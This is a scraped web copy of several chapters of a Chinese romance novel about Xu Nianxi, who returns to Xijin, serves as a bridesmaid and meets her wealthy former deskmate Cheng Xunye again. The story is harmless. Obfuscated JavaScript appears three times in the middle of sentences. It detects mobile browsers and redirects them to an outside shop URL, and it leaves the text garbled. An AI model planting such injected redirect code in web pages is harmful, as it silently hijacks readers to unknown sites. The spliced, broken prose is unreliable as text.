高中时,常和班上的蒋鹏文打打闹闹,是6班的一道风景线。 正好蔡娴娴说到蒋鹏文,她把手背过来举到徐念溪眼前,只见她中指戴了枚璀璨的戒指。 “当当当,”蔡娴娴摇着手指笑,“我和蒋鹏文下个星期就要举办婚礼了。” 徐念溪吃了一惊,“这么快,恭喜你们。” “不快了,”蔡娴娴摇头,“我们都领证好几个月了,领证那会儿还有发过朋友圈。” 徐念溪有加蔡娴娴的微信,但是不知道从什么时候开始,她便没有再看朋友圈的习惯。 自然也不知道这件事。 “你下周三有时间吗?”蔡娴娴,“可以来当我伴娘吗?我这边伴娘只有两个我大学同学和鲁惟与,还差一个人。” 徐念溪犹豫两秒,再抬脸时,已经摆出了抱歉脸,“不好意思,我那天可能没时间。” “这样。”蔡娴娴很有些可惜,看了眼手机,“那我先走了,蒋鹏文在等我吃饭。” - 蔡娴娴打开车门,“你知道我刚刚遇到谁了吗?” 蒋鹏文边看后视镜倒车边问:“谁?” “徐念溪。” “徐念溪……”蒋鹏文跟着重复了一遍,眼眸睁大,“徐念溪啊!” “对。”蔡娴娴拉安全带,“我这边不是还差一个伴娘吗,刚刚问她能不能来。可惜她不一定有时间。” “你那边伴郎找齐了吗?” “齐了。就高中那几个,程洵也、严岸泊,还有胖子瘦猴。” 蔡娴娴皱了下鼻子,“那我再找找吧。” - 晚上睡觉之前,徐念溪又在Boss找了一遍,把和自己工作经历有相关的审核、字翻等等都投了一遍。 她照例没怎么睡好。 起来第一件事就是,打开Boss。 已读不回的人多,真正回复的人很少。 徐念溪把回复的那几个翻译公司挨个私聊,问了公司帮不帮交社保。 但问完之后,无一例外,都变成了已读不回。 这种感觉,好像往大海里扔进小石子。好不容易泛起点涟漪,但很快就熄灭了。 她知道西津的就业环境不好。 没有双休、不交社保、基础工资极低、遍地都是销售客服。 但她没有体验过,实感低。 可是此刻,却真真切切地感受到了。 她的动向,王君兰都清楚。 “我说什么来着,工作不好找吧,隔壁王婆家女儿在家里待了几年都没找到工作。” "你要是像王婆女儿那样在家待几年,可别怪我到时候把你撵出去。" “让你别离职别离职,现在想后悔都没地儿后悔了,天底下可没后悔药吃。”王君兰斥责道。 有时候,徐念溪能发现,王君兰好像从来不会心疼她。 所以在她那里,自己永远只能得到无尽的压力和冷嘲热讽。 徐念溪没回话,但那天晚上失眠得更久。 久得让她清楚地意识到,回到西津以后,她的睡眠质量比在南城时还差一些。 有句话叫,租房消耗金钱,住家消耗精神。 徐念溪也同样身处在这个困境里。 于是她又一次希望自己有房子。 不需要有多好,也不需要有多大,只要是个房子就行了。 她有房子的话,就不会无处可去,就不用听着王君兰的话这么难受。 可是她没有。 她不仅没有房子,甚至连买房子的希望都看不见。 那晚,徐念溪很勉强地睡了两三个小时。 很早就爬起来,又投了一圈Boss。 微信有新消息。 蔡娴娴:念溪,在吗? 蔡娴娴:我昨天其实找齐了伴娘,但是有个伴娘临时有事,你这两天有空吗?可以当我伴娘吗?[拜托拜托] 鲁惟与也发来消息:蔡娴娴有和你发消息吗?她刚刚给我发了,问你这几天有没有空,她伴娘差人。 徐念溪先回了鲁惟与:说了。 鲁惟与:那你去吗?我也去。她之前就和我说好了。 鲁惟与:去嘛去嘛,就当陪我了。我一个人去,高中那些人肯定会问我在干嘛。你看我都二十五岁了,还在考公,我说出来都尴尬。 鲁惟与:你和我一起去,帮我分担一下火力。求你了求你了,溪溪。 徐念溪的高中时代过得不温不火。 不知道为什么,她从小到大都是个群体归属感很差的人。 就算徐念溪知道班上同学人是很好的,但也不能很自如地和他们沟通交往。 总感觉局促和不自在。 只有在很熟悉的人面前,她才放得开。 而很熟悉的人里面,就包括鲁惟与。 徐念溪揉了揉眉心,退了步:好,我来。 蔡娴娴也很快回复感谢和一些注意事项。 - 蔡娴娴的婚礼是在下周三。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207248|150998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但是伴娘得提前一天过来帮忙。 她和鲁惟与早上十点到了蔡娴娴家。 蔡娴娴看见她们,“我订了饭店,等会我们边吃中饭边说明天的流程。” 徐念溪和鲁惟与在饭店看见另外两个伴娘。 几个人简单认识了下,蒋鹏文带着他那边的伴郎进来了。 走在前面的男人,个子挺高,长着双很风流的桃花眼;他后面跟着两个体型差异挺大的男人,一个胖乎乎的,一个瘦得跟个竹竿一样。 徐念溪正觉得这三人长得面熟,像是高中同学,旁边鲁惟与撞撞她,“最前面那个是严岸泊,胖的是公孙修竹,瘦的是李伟豪。” 徐念溪刚点下脑袋,就看见他们后面又走进来个人。 天气越来越冷,马上快要立冬,这人就穿了件黑色夹克衫,宽松款的,里面一件白色内衫。 看着很冷,但是和裹着厚厚的几人相比,确实显得落拓不羁。 个子也最高,跟在后面,还有点压轴出场的意思。 鲁惟与给徐念溪比口型:“程洵也。” 徐念溪自然知道,毕竟她前不久才还过他卫衣。 不知道他在这儿看见她,会不会觉得诧异。 徐念溪望过去,正好看见程洵也的目光径直扫过她。 像完全没看见她一样。 “……” 所以,他不记得她是他高中同学,也不记得她不久前弄脏过她衣服。 哪怕徐念溪并不认为自己是个多么容易让人记住的人,也觉得他的记性是不是有点太不好了。 蔡娴娴起身,介绍了一遍她们这边的伴娘。 “齐婷。我大学舍友。” “裴娜美。我大学同学。” 蔡娴娴介绍到鲁惟与时,卖了个关子,“她们应该不用我介绍了吧。” “不用不用。”公孙修竹直摆手,他胖乎乎的脸颊肉直抖,“这不是鲁惟与吗?高中同学了,不需要介绍了。” “就是,都老熟人。” 他们又顺势往鲁惟与后面看,徐念溪:“好久不见……” 她话还没说完,公孙修竹和李伟豪倒吸一口凉气,“这不是徐念溪吗?你可真是好久不见了,这一晃都有七年了吧。” “对。”徐念溪点头。 公孙修竹他们俩七嘴八舌地围着徐念溪说话,给她介绍他们去年同学聚会都干了什么。还有什么大家都来了,就她和班长几个人没来。 鲁惟与抗议,说他们对念溪和对她态度不一样。 被挤到旁边的严岸泊不屑地嗤了下,“瞧他们俩那点出息,真是没眼看。” 程洵也看着被围起来的徐念溪,她笑得很含蓄,睫毛微微耷拉着,看着好脾气又温和。 从他第一次在火锅店见到徐念溪,已经过了将近半个月。 “有公司给休假半个月吗?”程洵也问。 “半个月,这也太久了吧。”严岸泊想了想,“是不是请假啊,没听过哪家公司给休半个月的。怎么了?” 程洵也收回视线,“没怎么。” 公孙他们聊够了,严岸泊连忙挤上前去,“美女,看这里。我是严岸泊,高中就在你们隔壁班。” 和严岸泊简单交谈完,徐念溪视线顺势往后移,放在一直站在最后的程洵也身上。 视线交接。 空气仿佛变得安静。 徐念溪抿紧唇,不知道要说“好久不见”,还是直接介绍自己。 他不记得自己了。 她现在说句“好久不见”,岂不是有点自作多情。 那还是自我介绍好些吧…… 无端静止的这几秒,严岸泊推了下程洵也的肩膀:“愣着干嘛,打招呼啊。这徐念溪,你不是认得吗?” 徐念溪眼眸微微睁大,看着程洵也。 他认得她? 程洵也回头看了眼严岸泊。 那眼神挺寒,但严岸泊穿得厚,感受不到。 他学着程洵也的欠揍语调,一字一顿:“徐念溪你知道吗?就是那个南大的。学习好性格好,长得还漂亮。” “哦,你当然不知道,你都不是我们班的,你知道个屁。” 5. 005 那顿饭吃得格外尴尬。 徐念溪正对面就是程洵也。 他没什么食欲的样子,只吃了几口,就低下头看手机,不怎么抬头。 鲁惟与撞了撞徐念溪,“你和程洵也怎么了?” “我也不清楚。” 他明明记得她。 但是上次还有刚刚,他表现出来都是不认识她的模样。 “男人心海底针。”鲁惟与总结。 见都吃得差不多了,蔡娴娴和蒋鹏文分开交代伴娘伴郎。 徐念溪是被临时抓来的,分的活不多,只需要协助规划接亲游戏,以及给蔡娴娴拎裙尾和整理妆发。 见伴娘都说没问题,蔡娴娴按着胸口松了口气:“没问题就好。明天要是有我没想到的突发情况,到时就得麻烦大家见机行事了。” 交代清楚了,伴娘一群人跟着蔡娴娴前往她家,提前熟悉接亲的地方,再帮忙准备明天需要用到的道具。 离得有些远,得要个开车来的人送她们过去。 最后徐念溪、鲁惟与加上一个硬生生挤上来的严岸泊都上了程洵也的车。 严岸泊贼心不死,没坐副驾驶,跑去和两个女孩子坐后座。 鲁惟与和严岸泊不熟,但聊起来,才发现意外合拍。 一个花花公子,一个直爽大方,都是逗趣人。 徐念溪听着他们一路上都在吹水,时不时跟着笑下。 和他们后座热络的气氛相反,程洵也坐在驾驶位,冷冷清清的。 他不说话,一个人开车。 正中午的车流,还得时不时得堵一下。 幸亏程洵也车品不错,全程没有半句怨言。 但这么一连套打下来,衬得程洵也特别像被他们排挤出去,哭兮兮做工的小可怜。 “哎,你兄弟怎么了?受啥刺激了?”鲁惟与小声关心,“刚刚还不认识念溪。” 严岸泊这人重色轻义,摆摆手:“纯装的。” “啊?为什么要装这个?” 严岸泊瞥了眼驾驶座的程洵也,拿大拇指指他,问徐念溪,“刚见到他那会儿,你是不是没和他打招呼?” 徐念溪顿了顿,她那会儿正因为弄脏他的卫衣而担心要赔钱。 至于打招呼,确实没打。 徐念溪老实点头。 “你不知道,有些人的心眼很小的,也就比针眼大一点。”严岸泊仗着没有点名道姓,开始大声蛐蛐,“见你没和他打招呼,他也装不认识你。” “这种人啊,该说不说,得亏我这人性格好,大人不计小人过,平日不和他一般见识……” “吱呀”一声,轮胎急停。 两个女孩子坐得靠后,只微微往前探出去点。 至于严岸泊可倒了大霉。 他刚刚还在叨逼叨,车这么一停,他往前扑过去,砸在椅背上,还“嘶”地一声咬到舌尖。 严岸泊捂着嘴,缓了半天,才缓过来,质问程洵也,“你干嘛?” 程洵也打开后门,让徐念溪她们下车:“到了,我停车。” 见两个女孩子走了,严岸泊松开手,立马开始叠声控诉,“停车有你这个停法吗?你是不是嫉妒我刚刚和她们聊得开心,所以故意让我丢脸?是不是看我长得帅,想断我和念溪的姻缘?” 程洵也回驾驶位正点火,听他这么问,侧过脸,看他三秒。 “你。” 顿了顿。 “真的很普信。” 严岸泊:“……” - 严岸泊这人叨逼叨属性直接拉满,剩下的路程一路都在碎碎念。 程洵也听得烦,打开车载音乐。 严岸泊属驴的,牵着不走打着倒退,听他不搭理自己,更起劲了,“你歌单里怎么就这首英文歌啊?你都听多少年了,不腻啊。” “我和你认识多少年了?”程洵也问。 “二十五年了,不是从小就认识吗?一个家属院的,你多大我们就认识了多少年。” 程洵也拖长语调,“原来已经这么多年了,难怪……” 他话还没说完,严岸泊连忙打断,“我闭嘴我闭嘴。” 路过家便利店,严岸泊下车买烟,程洵也见他还要一会儿,给蒋鹏文打电话。 “洵也,怎么了?” “没事。就是想问问我们明天几点到。” “五六点吧。”蒋鹏文声音喜洋洋的,充斥着新婚的喜悦。 “伴娘也这个点吗?要我去接吗?” “伴娘估计还得早点,女孩子化妆弄头发什么的麻烦些,”蒋鹏文说,“要接要接。鲁惟与和徐念溪都没车,你就先送她们过去再过来我这里,我这儿没多少事。” “好。” 蒋鹏文对他很放心,又说起其他事,“对了,你还不知道吧。徐念溪从南城回来了,我听娴娴说,她以后就留在西津发展,以后同学聚会你就能看见她了。” 程洵也重复了一遍:“徐念溪要留在西津?” “对,要不然她怎么会有时间当伴娘……” - 严岸泊坐上车,把车门一关,“嘶,外面好冷。” 又催程洵也:“发什么呆?走了。” 程洵也回神,启动车。 西津的天越来越冷了,沿街的香樟树掉了一地。 到处都是一片快要入冬的景象。 程洵也突然开口:“你还记得我们之前填过高考志愿吗?” “高考?”严岸泊愣了愣,忙摇头,“什么高考?谁高考了?谁考我都不考。” 严岸泊是个满脑子草包的货儿,高中三年和公孙修竹、李伟豪三个人几乎踏平了教导主任的办公室门。 最后勉勉强强考上了个本科。 “说起来,”严岸泊愤愤谴责程洵也,“说好一起拉低附中平均分的,结果高三那年,你一个人偷偷学,还考上了平大。你个狗!” 程洵也揉了揉眉心,觉得问严岸泊的他,也是蠢得没边了。 严岸泊智商归位:“不过,我们确实填过。” “我们是不是还看过念溪的高考志愿?一个西津的大学都没有。” …… 附中很不当人,去年考上TOP2院校的学生少得可怜,今年就在沉默中变态了。 高一一开学,各科老师齐上阵,开始强逼学习,恨不得每天就睡在教室里,看着他们。 程洵也和严岸泊这几个都是差生出身,踩着附中那年扩招线进来的。 附中越变态,他们越叛逆。 “等会的体育课是不是又被灭绝师太抢了?”公孙修竹捧着胖乎乎的脸,直叹气。 别看他胖得跑都跑不动,但是回回体育课都最积极。 李伟豪从他后面挤了好一会儿才挤进座位,累得只喘气,“胖子,你该减肥了。” 旁边的蒋鹏文看他俩直乐,“你们俩名字换换才对。一个胖得像球,一个瘦得像竹竿,结果胖的那个叫修竹,瘦的叫伟豪。” “没见识。这叫反差你知道吗?”公孙修竹大放厥词,“增加记忆点,你打听打听附中谁不知道我公孙修竹的。” 李伟豪没理他们搁那儿吹啵,问程洵也,“等会体育课咋办。” 程洵也打了个哈欠,“咋办,上呗。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207249|150998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那灭绝师太来了怎么办?” “上了再说,她也不一定会来。”程洵也抬下巴,“而且,天塌下来,还有你洵哥顶着。” 几个人欢呼一声,直往操场跑。 刚好好几个班都在上体育课。 操场上都是人。 程洵也他们几个好不容易挤到足球场,踢了一节的球,额发湿着回班里。 还没进门,被一直守着的张春燕揪走了。 “说说吧,去哪儿了。”张春燕放下一叠志愿表问。 附中今年新出的学习方法,让学生刚入学时就确定目标院校。 高中三年,一点一点朝目标努力。 程洵也人挺讲义气的,往前一站,“我们上体育课去了。” 李伟豪躲在程洵也后面,小声嘀咕:“对啊,这节课不是体育课吗?” 张春燕冷笑:“你们三个上体育课,6班其他人可都是上的语文课。” “你们上了一节课,都没发现操场上不是自己班的人啊?” 公孙修竹恍然大悟,和程洵也说:“原来真不是我们班的,我还纳闷怎么都长变样了。” 张春燕一噎,又反应过来,“操场上上体育课的都是文科班,女生比我们班多那么多,你们也没发现?” 李伟豪连连摇头:“真没啊,老师。这不是不让早恋吗,我们都不敢正眼看女生。” 张春燕被他们气得咳嗽两声,“合着你们都无辜是吧。” “哪儿能呢,”程洵也帮她倒杯水,“您歇歇,喝口水。” 张春燕润了润嗓子,看着以程洵也为首的这几个吊车尾的,恨铁不成钢,“你们啊,一个个的又不是不聪明,每天就是不爱学习,不把心用在学习上。” 程洵也直点头,态度很诚恳,等她说完接了句,“我们一定牢记您的教诲。” 他这人吧,看着混里混气的,喜欢翘课,不爱学习,但是对老师的态度好得很。 路上遇到她了,和那群装作没看到的差生还不一样,他会抱着球停下,大声喊句“老师好”。 要是看到她提的试卷重,还会帮她拿到车上了,再笑着跑开。 阳光洒在他身上,他头发毛绒绒地炸开。看着可恨,但多看两秒又觉得这小伙子还挺可爱的。 张春燕斜他,“你牢记什么了?” 程洵也笑:“牢记我们都是聪明孩子。” “……” 张春燕拿他这种厚脸皮没办法,绷不住了自己也笑着摇头,让他们待在办公室里,填完自己的高考志愿表再走。 严岸泊路过办公室时,看到他们,连忙跑进来。 几个不学无术的差生对着别人填好的高考志愿表,你一言我一语: “看这个,高露洁大学。高露洁不是牙膏吗,牙膏成大学了?” “这里还有个集美大学……” “看看看,洵哥,你同桌的高考志愿。” 徐念溪在6班不显山不露水的,但是她长得漂亮,在男生里还是有讨论度。 李伟豪一个一个念:“平城大学、南城大学、宁澜大学……怎么没一个西津的。瞧不起西津啊……” 公孙修竹呵了一声,“你懂什么,这叫志存高远。那平大南大可都比西津大好。” “也是,那能往高处走干嘛留在西津。” 后来正如同徐念溪一笔一划在高考志愿表上写的一样。 她如愿考上了南城大学,毕业后也顺利留在了南城。 也是从那个时候开始,程洵也对徐念溪有了个最基本的印象—— 她不是个甘于留在西津的人。 6. 006 徐念溪很早就爬到床上,酝酿睡意。 她是个答应别人就会希望做到最好的性子。自然也不愿意自己成为蔡娴娴婚礼的瑕疵点。 但毫不例外,她一直到凌晨两三点的时候才勉强睡着。 又毫无例外的,梦到了无数光怪陆离的景象。 梦里,好像总有数不清的怪物对着她张牙舞爪。 一夜噩梦,徐念溪被睡前定的闹钟吵醒时,心悸得厉害,像被塞了千万根针。 时间不早了,她没怎么缓,匆匆洗漱完出门。 徐念溪刚下楼,一辆黑色轿车开到她跟前,车窗远远被摇下,鲁惟与的脸露出来,她晃着胳膊,“溪溪,快上车。程洵也送我们去蔡娴娴家。” 徐念溪上了车。 鲁惟与是个体面人,给驾驶座的程洵也道谢:“你和蒋鹏文真是太贴心了,还特意送我们过去。” 言罢,她撞了撞徐念溪,徐念溪立马接话:“是的,太麻烦你们了,还这么早。” 程洵也“嗯”了声,声音不冷不淡。 不过分殷勤也不过分冷淡。 总之是个疏离的态度。 鲁惟与掏出手机,给徐念溪发消息,发完又给她比口型。 “看微信。” 徐念溪照做。就看见聊天框里,鲁惟与发了好多个感叹号。 鲁惟与:你知道程洵也今天开的车是什么牌子的吗!!!!! 徐念溪不是个对品牌很敏感的人:是什么? 鲁惟与:阿。 徐念溪只知道一个阿字开头的品牌:阿迪达斯? 鲁惟与:啊呸!什么阿迪达斯!阿斯顿马丁!!! 徐念溪不懂这个品牌背后的价值:多少钱? 鲁惟与:几百个w。 徐念溪倒吸一口凉气。原本昏昏沉沉的大脑猛的一个激灵。 她可能是那种没见过什么世面的人,也不懂有钱人的观念。 几百万一辆车,对她来说宛如另外一个世界。 毕竟,她从小到大,唯一的执念也只是,有一套自己的房而已。 而在有的地方,几万块,就能买到一套房。 徐念溪:我的天呐! 鲁惟与:是吧!我也觉得天呐!而且,上次他开的车也不便宜。两辆车加起来都大几百万了。 读书时,徐念溪还没觉得,金钱是种很重要的衡量人的标准。 但随着她步入社会后,才发现。 有的时候,有钱人和普通人之间,就是有着完全跨越不过去的天堑。 她殚精竭虑,费劲全部心血想要的一套房。 在有钱人眼中只是一块配饰表、一件奢侈品、一辆代步车的价钱…… 程洵也估计也是这样。 估计是听到她刚刚的抽气声,程洵也问:“冷?” 徐念溪对上他从后视镜看来的目光,连忙摇头:“不冷。” 程洵也“嗯”了声,但还是调高了温度。 剩下的时间,徐念溪和鲁惟与全程正襟危坐。 生怕弄坏车内的任何一点东西。 只是路程不短,天又才蒙蒙亮。 立冬后的凌晨霜冻得很厉害,车行驶时能听到轻微的冰棱刮擦声。 徐念溪昨晚没睡好,这会儿又醒得太早,听着这种声音,忍不住闭上眼。 鲁惟与就感觉有个毛绒绒的东西压在她的肩膀上,她扭头一看是徐念溪,“怎么睡着了?醒醒……” 刚叫一声,程洵也道:“让她睡吧。还有会儿才到。” 她看着,好久没有休息好的样子。 - 这是这段日子以来,徐念溪睡过最好的一次。 好像一颗缺水的多肉植物,一下喝饱水后,情不自禁地舒展起叶片。 “溪溪,到了,醒醒。” 徐念溪拖着声音“嗯”了声,人还迷迷糊糊的,被鲁惟与牵着下了车。 “谢谢。太麻烦你了。”鲁惟与对程洵也道。 程洵也看了眼脑袋埋在鲁惟与背上打瞌睡的徐念溪。 她听到鲁惟与说话,抬起头,跟着认真回复,“不客气。小鱼。” 鲁惟与:“……” 她们俩到得刚刚好,另外两个伴娘刚刚弄好妆造,正好到她们。 蔡娴娴的母亲过来往她们嘴里,一人塞了一个小笼包,“谢谢你们平日里照顾我们家娴娴。” 等化妆师给她们弄完妆造,整个房子都忙起来了。 虽然昨天有反复确认流程,但还是免不了一通手忙脚乱。 妆造、道具、随身物品…… 各种拧成一团乱麻。 好在早上九点的时候,都大致弄得差不多了。 也到了新郎上门的点。 房间里闹做一团,堵门的,给红包的,做游戏的。 鲁惟与是个人来疯,全程参与感满分。 等这个环节结束,徐念溪提着蔡娴娴的婚纱裙摆,从房子里出来,正好是上午十一点。 他们一行人出发去了酒店。 宾客到得差不多了,司仪站在台上预场。 剩下的流程,没有徐念溪和鲁惟与的任务。 她们俩站在台后,看着蒋鹏文单膝跪地,向蔡娴娴告白。 记忆中,蒋鹏文最不喜欢写作文,每次试卷发下来,都会因为800字的作文没写完,而被张春燕一通训。 但蒋鹏文依旧死不悔改。 后来高考前,张春燕还揪着蒋鹏文的耳朵,让他哪怕通篇胡说八道,也要过800字,阅卷老师很看字数给分的。 但这次的告白信却足足有两三千字,有他和蔡娴娴第一次认识,第一次说话,怎么样告白,怎么样求婚…… 一点一滴都包含在内。 鲁惟与听得眼眶都湿了。 高中时还不觉得这种从校服到婚纱的爱情有多宝贵。 但是进了社会后,认识的人好像再也没有校园里那般纯粹,才突然觉得,这样的感情难能可贵。 “好好啊,”鲁惟与道,“突然觉得好羡慕,有点向往起婚姻,你呢。” 徐念溪笑了笑,“我还好。” 她从不认为,这么美好的感情能降落在她身上,自然也不会觉得羡慕或者可惜。 就好像,蔡娴娴母亲怕她们饿着,夹小笼包喂到她嘴里。 那个瞬间,她永远不会像蔡娴娴一样,“啊”地一口咬下,然后亲昵地说“谢谢妈妈”。 她只会觉得陌生、生疏、紧张。 生怕自己搞砸一切。 徐念溪起得太早,见这会儿已经忙得差不多了,和鲁惟与交代声,“我去趟卫生间。” - 卫生间里,徐念溪看着镜子中的自己,就算有妆容的掩盖,却也依旧显得憔悴,黑眼圈好像刻进了下眼睑。 她轻轻吐出口气,用水拍了拍脸颊,稍微打起些精神。 就在这时,身侧有一道很高大的阴影斜着压下来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她沉默的这一瞬,程洵也说,“我也想问你个问题。” 徐念溪愣了下,“你问吧。” 她其实不认为自己身上有什么东西是值得,程洵也询问的。 但是她一贯认为程洵也,是个很好的人。 所以她完全不会排斥他的询问。 “你要留在西津?” 他突如其来的一句,让徐念溪顿了顿,抬手把额发别到耳后:“对。” “为什么?” 徐念溪重新打开水龙头,又冲了一次手,“我想换一下工作环境。” 抬手,关水龙头:“在南城待了这么久,有点腻了。” 没等他再问,徐念溪对着程洵也礼貌地点了下头,“我洗好了。先走了。” 洗手台那儿,就剩下程洵也一个人。 “……腻了…” 可是程洵也清楚地记得。 高三那年,三四月的西津,闷热得快要爆炸的夜晚,突如其来一场特大暴雨。 雨太大,暗无天日。像绘图里诺亚方舟沉没时的场景。 只路灯化为漂浮在水面上的一捧银盏,被无数滴雨击碎成白色浪花似的一片片。 浪花下,徐念溪紧紧抱着膝盖,身上被淋得透湿。 良久。 她动了动,脑袋埋进膝盖,努力哽咽着,几乎用尽全身的力气才将那句话说出口。 “我……讨厌西津…永远不想回西津……” 7. 007 “怎么去了这么久?”鲁惟与一把拉住徐念溪,“快快快,催了好几次开席了。” 蔡娴娴高中时人缘很好,这次她婚礼来了不少6班同学,都安排在一桌。 鲁惟与和徐念溪过去的时候,不少老同学已经正在吃了。 见到她们过来,尤其是看见好多年没见的徐念溪,纷纷打招呼叙旧。 徐念溪好不容易才坐下。 没过多久,果然有人聊起了彼此的工作。 有当老师的、有开店的、有公司员工…… 零零碎碎的,各行各业都有一些。 很快便轮到了鲁惟与,她没敢说自己全职考编,只说刚刚离职,想试着考体质内。 在很多人眼里,全职考公考编不是个正经事儿。 考上了才是个铁饭碗,考上之前则是在家啃老。 果然鲁惟与这句话一说出来,就有几个同学说,现在这形势,体质内很难考。 况且她也不年轻了,花那时间精力,还不一定能考得上。还不如快点找个事做或者早点嫁人。 鲁惟与没说话,徐念溪开口引开话题:“是不是到我了?我前不久辞职了,现在在找工作。” 果然,他们的注意力一下子被转移走了。 都问徐念溪,南城那么好的工作,怎么会辞职了?辞职多久了?以后留在西津还是南城? 问题不少,徐念溪又不够坦荡,自然应付得吃力。 就在这时,餐桌上又坐下来两个人。 程洵也和严岸泊。 严岸泊见餐桌上围着徐念溪问得闹哄哄的,“聊什么呢?” 他虽然不是6班的,但是高中那会儿,老和程洵也一起,出出进进的刷个脸熟。 “在谈大家现在在做些什么工作。” “工作啊,”严岸泊还挺熟络的,“我来我来。我开火锅店的,之前附中对面那家火锅店现在是我的,你们过去吃报我名字一律八折啊。” 他边说边发名片。 徐念溪也被发了一张。 包括附中对面那家,严岸泊一共开了五家火锅店。 鲁惟与小声说:“每家店生意都很好,去了都得排位的那种。” 他说完,便到了程洵也。 程洵也已经换上了自己的衣服,只是和别人穿得厚实比,依旧单薄。 整个人修长挺拔,像颗永不垂下的青松。 他兴致缺缺的,头都没怎么抬,“没工作,在家啃老。” 像是在开玩笑,又像是实话实说。 当即便有人笑了,说他这种家境哪里还需要工作,钱放银行里每天吃利息都够了。 有一群人附和。 鲁惟与闻言,轻叹口气:“真好。” 她没说别的,徐念溪却懂她的意思。 她们永远做不到像程洵也那样,直接了当地说自己“没工作”。 不论是玩笑,还是实话。 她们都说不出口。 毕竟,她们不是程洵也。 没有他的家境,也没有他的亮眼。 所以被世俗裹挟着,成了身不由己的模样。 又聊到了没来的高中同学。 高中时期,作为班长的瞿尹清自然而然要被人提起。 “念溪,班长怎么没来啊?”他们问的是徐念溪。 高中那会儿,谁都知道他们关系不错。 徐念溪还是那么个笑意温吞的样子:“我也不清楚,我们挺久没见面了。” 剩下的话题,徐念溪和鲁惟与都没再开口。 因为很多人在围着程洵也他们聊车和房,聊股票期货基金等各种投资…… 严岸泊说得多,程洵也说得少。 但不妨碍别人对程洵也的热情。 显然知道那栋楼是程洵也家里的人不少。 鲁惟与看着眼前热闹的一切,这一桌好像被人为地隔出两泾渭分明的条线。 她有些食不下咽,放下筷,轻声和徐念溪说:“有点后悔答应当伴娘了。” 来之前,她就知道会和同学之间有很大的差距。 毕竟她还在全职备考。 和那些已经有了稳定工作的同学自然不能比。 但是她却没想到,差距大到已经不是工作层面,而是整个生活。 高中时那些看着不声不响,成绩甚至还没她好的人,已经开上了奔驰宝马。 而她连全款买辆最便宜的代步车的钱都没有。 难怪有句话叫,从校园里出来,原有的阶级就慢慢显现出来了。 他们只是坐在一间教室里,但不代表他们就是一个阶层。 徐念溪看着被围着的程洵也,慢慢“嗯”了声。 能和程洵也这种人再说上话,只是因为他们曾经是同学而已。 倘若没有同学这层关系,可能是这辈子,徐念溪都不会和这种人有过交流。 同学关系,乍看之下不起眼。 但随着时间流逝,有的人飞黄腾达,直冲云霄,有的人碌碌无为,一眼望到头。 才懂那句,“我和他之前是同学”下的种种沸腾的辛酸苦辣。 - 婚礼到这里差不多了,蔡娴娴和蒋鹏文送走宾客后,又挨个感谢伴郎伴娘,说忙完了,请他们吃饭,他们一定要来。 回去还是程洵也送的。 现在临近傍晚七点,跨江桥上车流拥堵。 江面缀满红色波光,天际上漫天的火烧云。很寻常的归家场景,更让一切显得静谧。 徐念溪看向驾驶位的程洵也,他单手松松握着方向盘,估计是等着有点无聊了,屈起食指敲了下盘面。 说起来,从高一到现在,已经七年过去了。 七年。 说起来不算长。 但人生有几个七年。 可能是时光流逝感太过明显,徐念溪莫名想到了高中。 和程洵也同桌的那两个星期,他们一贯井水不犯河水。 她生活节奏单一,每天在教室和家之间两点一线,最特殊的也只是和前桌的鲁惟与说说话。 至于程洵也,和她则是完全不一样的两种人。 他明明入学比别人晚好几天,却以极快的速度被这个集体接纳,而且被推举成一个很受欢迎的人。 谁都认识他。 从他返校以来,时常有人来他座位找他。偶尔在路上看见他,他身侧也总是围绕着不一样的人。 众星捧月得让人惊讶。 徐念溪对于他这种能力艳羡中又带了点好奇。 鲁惟与相较于徐念溪更擅长交际,拿着探听出来的消息和她分享。 “就你同桌程洵也,”鲁惟与朝她旁边座位,努了努嘴,“初中时可是干过大事。” “什么大事?” “他初中不是实验初中吗?”鲁惟与道,“有段时间有人常常去他们校门口堵女生。” “这个我知道。”徐念溪初中是在二初读的,二初离实验初中不远,时常能看到几个流里流气的黄毛男生堵在实验初中门口吞云吐雾,“然后呢?” 鲁惟与:“然后啊,程洵也和公孙修竹他们一起送他们班女生回家,送了好长一段时间。” 徐念溪眼眸微微睁大,“这么厉害。” “是吧。我要是他们班女生,都不知道多有安全感……” 也是从那时开始,徐念溪对程洵也这个人有初步的好感。 他是个很好的人,和他的笑容一样。 有被太阳直射的热烈坦荡。 但太阳也注定会折射出阴霾的贫瘠狼狈。 如同对照组,无法避免。 两个星期之后,班主任摸清了班里学生的情况,换了座位,他们不再有任何交集。 直到高二那次他帮了她,他们才再次有过对话。 但从头到尾也不多。 更亲密的接触更是完全没有。 因为,他们注定是不一样的人。 …… 他们一路静默到小区附近,徐念溪没让程洵也开近,只远远地让他停了,剩下的路她们走回去。 徐念溪揽住昏昏欲睡的鲁惟与,关上车门,对程洵也道谢。 刚准备离开,沉默了一路的程洵也突然开口:“徐念溪。” 这是重逢以来,他第一次叫她的名字,徐念溪难免愣神,回头看他:“怎么了?” 这会儿很晚了,隐隐有霜冻的吱呀声在轻微地响。 